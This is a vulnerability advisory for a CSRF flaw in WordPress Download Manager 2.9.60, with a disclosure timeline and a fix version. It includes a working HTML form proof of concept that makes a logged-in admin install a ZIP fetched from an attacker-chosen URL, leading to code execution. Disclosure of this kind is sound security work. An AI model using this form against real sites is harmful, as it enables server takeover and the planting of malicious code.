WordPress Download Manager 2.9.60 Cross Site Request Forgery

Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

* Exploit Title: WordPress Download Manager [CSRF] * Discovery Date: 2017-12-12 * Exploit Author: Panagiotis Vagenas * Author Link: https://twitter.com/panVagenas * Vendor Homepage: https://www.wpdownloadmanager.com/ * Software Link: https://wordpress.org/plugins/download-manager * Version: 2.9.60 * Tested on: WordPress 4.9.1 * Category: WebApps, WordPress Description ----------- Plugin implements the AJAX action `wpdm-install-addon` which calls the function `wpdm_install_addon`. This function doesn't take any anti-CSRF measures thus making it susceptible to those kind of attacks. What is interesting about this function though, is the fact that it provides plugin installation functionality for admin users. The origin of the package is defined by the `$_REQUEST['addon']` if is set without any validation. A malicious actor can exploit this to install a malicious plugin in the vulnerable site. In fact the install package doesn't need to be a valid plugin, it could just contain malicious code. Because the package is extracted in the `/wp-content/plugins/` dir without changing it's original folder structure, an attacker could leverage the CSRF to upload malicious code and execute the code on the infected server. PoC --- ``` <pre class="lang:html decode:true "><form method="post" action=" http://vuln.dev/wp-admin/admin-ajax.php"> <input type="hidden" name="action" value="wpdm-install-addon"> <label> This is the remote url to get plugin from. Everything is valid as long as it's a ZIP archive and ends with .zip <input type="text" name="addon" value=" https://downloads.wordpress.org/plugin/bbpress.2.5.13.zip"> </label> <button type="submit" value="Submit">Submit</button> </form> ``` Solution -------- Update to version 2.9.61. Timeline -------- 1. **2017-12-12**: Discovered 2. **2017-12-14**: Tried to reach out to vendor using support email address 3. **2017-12-16**: Vendor replied 4. **2017-12-16**: Vendor received details 5. **2017-12-21**: Vendor released a fix

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